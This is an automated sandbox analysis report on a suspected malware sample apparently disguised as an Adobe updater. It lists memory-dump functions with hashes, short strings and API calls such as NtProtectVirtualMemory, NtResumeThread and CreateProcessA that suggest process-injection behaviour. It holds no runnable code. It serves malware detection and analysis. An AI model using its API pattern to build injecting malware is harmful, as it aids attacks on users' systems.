4, xrefs: 05EE3C55
$jq, xrefs: 05EE36D7
$jq, xrefs: 05EE3777
$jq, xrefs: 05EE3503
$jq, xrefs: 05EE3BAA
$jq, xrefs: 05EE3787
$jq, xrefs: 05EE3B61
,nq, xrefs: 05EE3D3A
$jq, xrefs: 05EE3BBA
$jq, xrefs: 05EE36C7
$jq, xrefs: 05EE3513
$jq, xrefs: 05EE3B51

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: ,nq$4$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq$$jq
API String ID: 0-162385967
Opcode ID: 71011cf255b5d516a9a80343774a7186df99e7d82c49e541dead55abdccc5e71
Instruction ID: 323499856b54d8e10d1c1c87954f188dfad108c160d5b7d269ed4f06d7342c62
Opcode Fuzzy Hash: 71011cf255b5d516a9a80343774a7186df99e7d82c49e541dead55abdccc5e71
Instruction Fuzzy Hash: AAB20734A10218CFDB14CFA4C994BADBBB6BF48304F1585A9E546AB3A5DB70ED81CF50

Function 05EE35A7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 05EE3C55
$jq, xrefs: 05EE3777
$jq, xrefs: 05EE3BAA
,nq, xrefs: 05EE3D3A
$jq, xrefs: 05EE36C7
$jq, xrefs: 05EE3B51

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: ,nq$4$$jq$$jq$$jq$$jq
API String ID: 0-3947795074
Opcode ID: 6e7a1bc60e316739e515c0a2495f9e6cfd46a3861a7b3151fb769035f051d62d
Instruction ID: 6e87232903aba6f742c66a3a4e5f94224e534e6ff975fc0826f092dad91e2dd4
Opcode Fuzzy Hash: 6e7a1bc60e316739e515c0a2495f9e6cfd46a3861a7b3151fb769035f051d62d
Instruction Fuzzy Hash: 27221834A10214CFEB24DF64C994BADB7B2FF48304F1495A9E54AAB2A5DB70ED81CF50

Function 0093AF38 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tejq, xrefs: 0093B65B
TJoq, xrefs: 0093B0DA
pnq, xrefs: 0093BAF2
xbmq, xrefs: 0093B065

Memory Dump Source

Source File: 0000000C.00000002.2372507297.0000000000930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_930000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: TJoq$Tejq$pnq$xbmq
API String ID: 0-1294180740
Opcode ID: 5f094b9977968580b2fc2c4e8abbdc0e95169d7bea6d962ab16d521db4acc404
Instruction ID: 55e19086835d59777d3f657ee33d0b3bcc71255bdafdf4d6db61df912bfd8e0a
Opcode Fuzzy Hash: 5f094b9977968580b2fc2c4e8abbdc0e95169d7bea6d962ab16d521db4acc404
Instruction Fuzzy Hash: 4DA2B675A00228CFDB65CF69C984AD9BBB2FF89304F1581E9D509AB365DB319E81CF40

Function 05EFF4C8 Relevance: 1.6, Strings: 1, Instructions: 363COMMON

Download Yara Rule

Strings

Tejq, xrefs: 05EFF780

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: 688d2b2b735228df9474a458576107659ef56f66f3f790f23d3d5ae728704c67
Instruction ID: 0232a44f3068c15852a34bb878698750b71704e56cdb0f6fcb49cdb790d8593e
Opcode Fuzzy Hash: 688d2b2b735228df9474a458576107659ef56f66f3f790f23d3d5ae728704c67
Instruction Fuzzy Hash: AEF1F674E05218CFDB24CF69D884BADBBF2BB49304F1091AAD59DA7255EB709E85CF00

Function 0603FE28 Relevance: 1.6, APIs: 1, Instructions: 68nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0603FEB9

Memory Dump Source

Source File: 0000000C.00000002.2425269440.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6030000_Adobe_Install_Updater.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: f86fb623a2b10705c04837e6a53fca214225f48de06f926de3b0d5037eba5e25
Instruction ID: 119e547f05dc5d2f2ec01799778cc032cd82a66bc8c4d24822fd99aeec744462
Opcode Fuzzy Hash: f86fb623a2b10705c04837e6a53fca214225f48de06f926de3b0d5037eba5e25
Instruction Fuzzy Hash: DE2110B5D003499FCB10DFAAD980AEEFBF5FF48310F20842AE519A7210C7399941CBA0

Function 0603FE30 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0603FEB9

Memory Dump Source

Source File: 0000000C.00000002.2425269440.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_6030000_Adobe_Install_Updater.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8d51677b4f695fad68cf371fc9df5ebe86d926e887238c91e67ebcaa06388987
Instruction ID: d0f97d6fbdd8aea66abca9eb20cae26942a6ac4ea2d0e153ccf59981a05a8535
Opcode Fuzzy Hash: 8d51677b4f695fad68cf371fc9df5ebe86d926e887238c91e67ebcaa06388987
Instruction Fuzzy Hash: 8221E4B1D013499FCB10DFAAD984ADEFBF5FF48310F20842AE519A7250D775A944CBA4

Function 05270EF2 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05270F66

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7f24925d0d9a6966c01c7806810a75b0f16fd07a9916e8909b5631960f030ade
Instruction ID: 7ee6fea05544153fd2f3ae7afef2759e0483a7439acb74827709ffdda87c6534
Opcode Fuzzy Hash: 7f24925d0d9a6966c01c7806810a75b0f16fd07a9916e8909b5631960f030ade
Instruction Fuzzy Hash: B61117B1D002098EDB10DFAAC945BEEFBF4BF48320F50842AD519A7250CB78A945CFA5

Function 05270EF8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05270F66

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 888f94412f5d48e1147090e283fde7210693bf89e5ff8041e21eeac5efda130b
Instruction ID: e6f48139fe2fdb705ea5caeef19f4bcf1421944c07f1d0f20fab8ba3cf7cc572
Opcode Fuzzy Hash: 888f94412f5d48e1147090e283fde7210693bf89e5ff8041e21eeac5efda130b
Instruction Fuzzy Hash: BF11E4B1D042498EDB10DFAAC584AAFFBF4FF48320F50842AD519A7250CB78A944CFA5

Function 05EF7CA0 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Tejq, xrefs: 05EF7E83

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: Tejq
API String ID: 0-2468842661
Opcode ID: 239ebb98ad075f12b958c581c2307390c800efe683d9c2c6c6e7048318fb8a16
Instruction ID: df0ce92dab0eb6c06f59cbfdbc9d72aa7ab84f8157443b8b4df8b7ce3334589e
Opcode Fuzzy Hash: 239ebb98ad075f12b958c581c2307390c800efe683d9c2c6c6e7048318fb8a16
Instruction Fuzzy Hash: 86B1D874E05218CFEB14CFA9D948BADBBF2FF89304F5090AAD549AB255EB705985CF00

Function 05EF6FB8 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1612e6915363591e408fa0ee655d11e48849fed24927992c723309ebaae4ad30
Instruction ID: db01cc973ed365a96ccf9c52606c123ee256946487288a3c1d464b0a8a9c32d8
Opcode Fuzzy Hash: 1612e6915363591e408fa0ee655d11e48849fed24927992c723309ebaae4ad30
Instruction Fuzzy Hash: 1EA1C570E05218CFEB24CF6AD944BADBBF2FF49304F10A0AAD559AB251EB705985CF01

Function 060D0006 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425512492.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_60d0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b4b48d98f4a413da9a27573789ef256f33deeaac9f30217db44a6efd9ae82d
Instruction ID: 49cc09ba3a819c05323cfe7794d4c3a70215a892a4b3e3299e124e1e206db9b1
Opcode Fuzzy Hash: e7b4b48d98f4a413da9a27573789ef256f33deeaac9f30217db44a6efd9ae82d
Instruction Fuzzy Hash: 8E913670D85218CFDBA4DFA8D884B9DBFF1BB4A304F50426AD00ABB295D7755886CF41

Function 05EF6FAB Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf3fb5fcbcd3d90a158fcffdc336b691f9ea8d241550bf570fd82b8825d9c1f
Instruction ID: a65d8a72b7eaedfe9a77cee5e461920d1ae6c34186ed13daae126f888e48ed4a
Opcode Fuzzy Hash: 0cf3fb5fcbcd3d90a158fcffdc336b691f9ea8d241550bf570fd82b8825d9c1f
Instruction Fuzzy Hash: 7891D770E05218CFEB24CF6AD948B9DBBF2FF89304F1090AAD559AB251EB745985CF01

Function 060D0040 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425512492.00000000060D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_60d0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74befbb7f03b2fd78e2ec62562131b52d6298ed5f89f059d62e91eb795933e7c
Instruction ID: b0a9932abd141f77f8d71c129e96cf6c5610cbcfdb6c73722af44ef36ab8cb24
Opcode Fuzzy Hash: 74befbb7f03b2fd78e2ec62562131b52d6298ed5f89f059d62e91eb795933e7c
Instruction Fuzzy Hash: 61811570E81218DFDBA4DFA8D888BADBFF1BB49304F504269D00ABB294D7755886CF44

Function 05EF7322 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ffa5d436965d0de0aee102fa17b31be63788511924189e39acdf8f27b211653
Instruction ID: d56af51e602b42d2b574a96346691d66de699f18dd62505d562e97496476c4a2
Opcode Fuzzy Hash: 8ffa5d436965d0de0aee102fa17b31be63788511924189e39acdf8f27b211653
Instruction Fuzzy Hash: F891C574E05218CFEB24CF6AD948B9DBBF2FF49304F10A0A9D559AB250EB705985CF04

Function 05EF70DE Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94bfd902eb2550b269f83ed8f695af367b60f74847941089f571cf67d1a0d58
Instruction ID: 6315c93b8227b78bdf242db5837732260007c1fd7e24c9c0ef8f6e7f9de45fb3
Opcode Fuzzy Hash: f94bfd902eb2550b269f83ed8f695af367b60f74847941089f571cf67d1a0d58
Instruction Fuzzy Hash: FF91C374E05218CFEB24CF6AD948B9DBBF2FF49304F10A0A9D599AB250EB705985CF00

Function 05EE9068 Relevance: 4.2, Strings: 3, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 05EE953D
Hnq, xrefs: 05EE956C
Hnq, xrefs: 05EE95BC

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: Hnq$Hnq$Hnq
API String ID: 0-1699790779
Opcode ID: 74b5fa44b0d2cc9ccb9cea01e6c851d3eeadf893e25c3c98e412f99f45ab6d72
Instruction ID: b0e1a942370675b3131850a636f0dba8cd9f9e3896cf35b6cbca9227cece978c
Opcode Fuzzy Hash: 74b5fa44b0d2cc9ccb9cea01e6c851d3eeadf893e25c3c98e412f99f45ab6d72
Instruction Fuzzy Hash: D7125B30A102048FDB24DFA9D484AAEBBF6FF88304F14952DE4869B356DB31ED46CB51

Function 05EEAE98 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 05EEB0B2
4'jq, xrefs: 05EEB191
4'jq, xrefs: 05EEB211

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq
API String ID: 0-3078559419
Opcode ID: a0e9a813bd38fd295541b310d1358e2818d0f439691b44a29988a8226216b2e6
Instruction ID: a146e9536074b48f2c3d289e3b456250a3b4762193d5fc63fb23abef8d842bb1
Opcode Fuzzy Hash: a0e9a813bd38fd295541b310d1358e2818d0f439691b44a29988a8226216b2e6
Instruction Fuzzy Hash: DEF1E934B10218DFCB04DFA4D999A9DBBB2FF89305F519168E446AB3A5DB70EC42CB41

Function 05EEF46F Relevance: 4.1, Strings: 3, Instructions: 365
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 05EEF5D5
Hnq, xrefs: 05EEF601
(nq, xrefs: 05EEF5A9

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$(nq$Hnq
API String ID: 0-1151833592
Opcode ID: 1fbbec41876e402c287ca4cbc7b0a8e75e06ced686ad57b025067550aa1ae44d
Instruction ID: 9ccd530f478bd05ab1d747fb4f18f04c4b9a094b9e2e551fbf48cfb755c188f1
Opcode Fuzzy Hash: 1fbbec41876e402c287ca4cbc7b0a8e75e06ced686ad57b025067550aa1ae44d
Instruction Fuzzy Hash: 4AE14E34A10209DFCB04EF64D4949AEBBB2FF89310F518569E856AB364DF30ED46CB91

Function 05EE16C7 Relevance: 3.9, Strings: 3, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hnq, xrefs: 05EE183C
l^, xrefs: 05EE16CB
(nq, xrefs: 05EE1810

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$Hnq$l^
API String ID: 0-912059978
Opcode ID: 787a1be345682a574c787f373811b168d0045227d10bb736d904ba2399bd5a8d
Instruction ID: 2071569d7f803a31f7acfea0fae09c2b7c10e6fb025376ec4f1bea5a2b658572
Opcode Fuzzy Hash: 787a1be345682a574c787f373811b168d0045227d10bb736d904ba2399bd5a8d
Instruction Fuzzy Hash: 5E5101326047408FD328DF2AD48475A7BF6FF85310F148A6DD486CB6A1EB78D94AC751

Function 05E90D98 Relevance: 3.1, Strings: 2, Instructions: 577COMMON

Download Yara Rule

Strings

4'jq, xrefs: 05E91559
4'jq, xrefs: 05E91549

Memory Dump Source

Source File: 0000000C.00000002.2423680259.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5e90000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: a029775d3981150dd070d0fb656f4b00bf6e81bb308ca3b44eeeba2918ef8b91
Instruction ID: 1a987c3b190a51dad53358b3ae33c87c858a1b483563b10ec52cd1929d3ad5a9
Opcode Fuzzy Hash: a029775d3981150dd070d0fb656f4b00bf6e81bb308ca3b44eeeba2918ef8b91
Instruction Fuzzy Hash: 0042FF74E0420ACFDF18DBD9D488AEEBBB6FB48304F50912AD952A7394DB349946CF50

Function 05EE5588 Relevance: 3.0, Strings: 2, Instructions: 516
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$jq, xrefs: 05EE58F3
$jq, xrefs: 05EE5903

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: $jq$$jq
API String ID: 0-3720491408
Opcode ID: 0fec68505af7932d97d4469f170b9485f4db41c0c949537d5e95ec7a9141eeeb
Instruction ID: 342d96b01a409b9fd7b1489f2a3e50c2550ca86fb12d4ae3a12ff531701cd9f4
Opcode Fuzzy Hash: 0fec68505af7932d97d4469f170b9485f4db41c0c949537d5e95ec7a9141eeeb
Instruction Fuzzy Hash: F8227B35A102198FDB14DFA5D895AEEBBF2BF48308F148416E892BB394DB74D942CF50

Function 05E918C0 Relevance: 2.9, Strings: 2, Instructions: 362
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 05E91D66
4'jq, xrefs: 05E91D56

Memory Dump Source

Source File: 0000000C.00000002.2423680259.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5e90000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 5874c4d51fd38b6c410276cc380d85d232625b0b16eb1ee2a9cc9804c43cdb6b
Instruction ID: 4a1895370c8a6604b51952936c9169ce47c7eaf661ba6b6d82a4490499f2b45b
Opcode Fuzzy Hash: 5874c4d51fd38b6c410276cc380d85d232625b0b16eb1ee2a9cc9804c43cdb6b
Instruction Fuzzy Hash: 97F1DF74E05219DFCF18DFA4E4946ACBBB2FF89316F20512AE856A7354DB305982CF41

Function 05EE8B20 Relevance: 2.8, Strings: 2, Instructions: 342
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 05EE8D81
(nq, xrefs: 05EE8B34

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$d
API String ID: 0-2356140993
Opcode ID: a65ae2653e7e1beb6e00ecbd9c61b8244e516caef5d261689c518ac61d6ff32a
Instruction ID: fd5e1b1c3834ca75c8a0a0c4c0b896e257fce36825c406ee256725dcf01ba2b3
Opcode Fuzzy Hash: a65ae2653e7e1beb6e00ecbd9c61b8244e516caef5d261689c518ac61d6ff32a
Instruction Fuzzy Hash: 67D178306146068FCB14CF28C98496ABBF6FF89314B158A69D49A9B365DB30FC42CB90

Function 05E92490 Relevance: 2.8, Strings: 2, Instructions: 279
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 05E9281F
4'jq, xrefs: 05E9280F

Memory Dump Source

Source File: 0000000C.00000002.2423680259.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5e90000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 1a9c40376745549e3f08589ec696da98d18445953f458953a0b2a4895644b24c
Instruction ID: 44035865fb2a72fbc9bc2dc44d768197d0909cb95251fe7ebff4a2a3bde44ba5
Opcode Fuzzy Hash: 1a9c40376745549e3f08589ec696da98d18445953f458953a0b2a4895644b24c
Instruction Fuzzy Hash: 75C1FF38E00219EFDF08DFA4D494AEDBBB2FB89305F10912AD652AB350DB355946CF51

Function 05EE4BA0 Relevance: 2.7, Strings: 2, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 05EE4CB6
Hnq, xrefs: 05EE4D45

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$Hnq
API String ID: 0-3116299003
Opcode ID: fdd050b8b68ff6fc07faf34fb9c94fde9af5fa1f664dee5177a45b6d91d8052a
Instruction ID: 98431ff694d5e7c7c9a96db013e4b0a029f80e8b905593cb796d353462304d34
Opcode Fuzzy Hash: fdd050b8b68ff6fc07faf34fb9c94fde9af5fa1f664dee5177a45b6d91d8052a
Instruction Fuzzy Hash: 2E51BF30B042008FDB19AF28D855A2E7BB7FF89314B20446CE9869B395DE31ED02CB91

Function 05EE7160 Relevance: 2.6, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 05EE72CB
(nq, xrefs: 05EE7274

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (nq$(nq
API String ID: 0-2974481825
Opcode ID: 156e88312ea5b9feba2faf55ef2c9d1d864096b4c74d37ba3b81c2ce17e755c2
Instruction ID: 0635e5bee6f412730ffde79a487a5739569dd6546428f02bcd2a1d4229b06eae
Opcode Fuzzy Hash: 156e88312ea5b9feba2faf55ef2c9d1d864096b4c74d37ba3b81c2ce17e755c2
Instruction Fuzzy Hash: 6F518A313102448FEB189F69D895BAE3BA6FF88355F248169E846CB295CF38DC42C791

Function 05EF30F1 Relevance: 2.5, Strings: 2, Instructions: 29COMMON

Download Yara Rule

Strings

#, xrefs: 05EF3172
e, xrefs: 05EF3146

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: #$e
API String ID: 0-159012314
Opcode ID: 71362f0aa16b6c98ee1f764b31df13ed63236dcc183e07e707b61f66893c1025
Instruction ID: af8d968f5b9b59cf8fcc5e07de49152f4e95b6374c5a97fbbf4d45cfe2912e20
Opcode Fuzzy Hash: 71362f0aa16b6c98ee1f764b31df13ed63236dcc183e07e707b61f66893c1025
Instruction Fuzzy Hash: 3501AE74D16228CFDB69EF24C898A9CBBB6FB08310F4050D9E849A3250CB345F80CF51

Function 05EF9BDF Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

k, xrefs: 05EF9BEA
1, xrefs: 05EF87EC

Memory Dump Source

Source File: 0000000C.00000002.2425111005.0000000005EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ef0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: 1$k
API String ID: 0-4049604547
Opcode ID: 52e518e77b190081826b7aba383a1fda157d4371a3d1b12068a185aa70276b6f
Instruction ID: c3fc7ab48fc61feef9aaf7cb6277c3a941838fedb5ca636ea56e41694fd05225
Opcode Fuzzy Hash: 52e518e77b190081826b7aba383a1fda157d4371a3d1b12068a185aa70276b6f
Instruction Fuzzy Hash: E7F0E77090A369CFEB24DF15D848B9DBBB6BB45309F0091E5E589A3290DB744B94CF01

Function 05EEBD78 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

,nq, xrefs: 05EEC0F3

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: ,nq
API String ID: 0-1069744364
Opcode ID: d0a5639a2878b94d7e9faf6801bf4e25aeb65c655694dc2010066567bc3f442d
Instruction ID: 1d2c13e81d43bd044279a656add1c23b0198b1d13065036894af3d58fa9f1906
Opcode Fuzzy Hash: d0a5639a2878b94d7e9faf6801bf4e25aeb65c655694dc2010066567bc3f442d
Instruction Fuzzy Hash: 25520775A102288FDB24CF69C985BEDBBF6BB88300F1581D9E549A7351DA30DE81CF61

Function 05EE614F Relevance: 1.8, Strings: 1, Instructions: 537COMMON

Download Yara Rule

Strings

(_jq, xrefs: 05EE63ED

Memory Dump Source

Source File: 0000000C.00000002.2424846115.0000000005EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5ee0000_Adobe_Install_Updater.jbxd

Similarity

API ID:
String ID: (_jq
API String ID: 0-2603807687
Opcode ID: 5c060581bfb21046c4cd2d2f17e85d9f1163f0155b911570939f579fa13f374a
Instruction ID: 9407440bd784e1d5befca8175924ba097749bc3f15ffbc897d9995cbb44f059d
Opcode Fuzzy Hash: 5c060581bfb21046c4cd2d2f17e85d9f1163f0155b911570939f579fa13f374a
Instruction Fuzzy Hash: 5C229E75B102049FDB14DF68E494AADBBB2FF98314F148069E846EB3A1DB71ED41CB90

Function 0527051E Relevance: 1.7, APIs: 1, Instructions: 208processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05270702

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 1e7067972e5071ffc43880f8f73f1cd3f2f597dd48d7e1f65b1f9168628ac13f
Instruction ID: 189c90a1f4907773d6bb7e6d0139eb25f08ffef40b69f739f293200f078ddbaf
Opcode Fuzzy Hash: 1e7067972e5071ffc43880f8f73f1cd3f2f597dd48d7e1f65b1f9168628ac13f
Instruction Fuzzy Hash: 848148B1D1025D9FDB10CFA9C9897EEBBF2BF48310F148129E819A7294D7748885CF81

Function 05270528 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05270702

Memory Dump Source

Source File: 0000000C.00000002.2416677863.0000000005270000.00000040.00000800.00020000.00000000.sdmp, Offset: 05270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_5270000_Adobe_Install_Updater.jbxd

Similarity

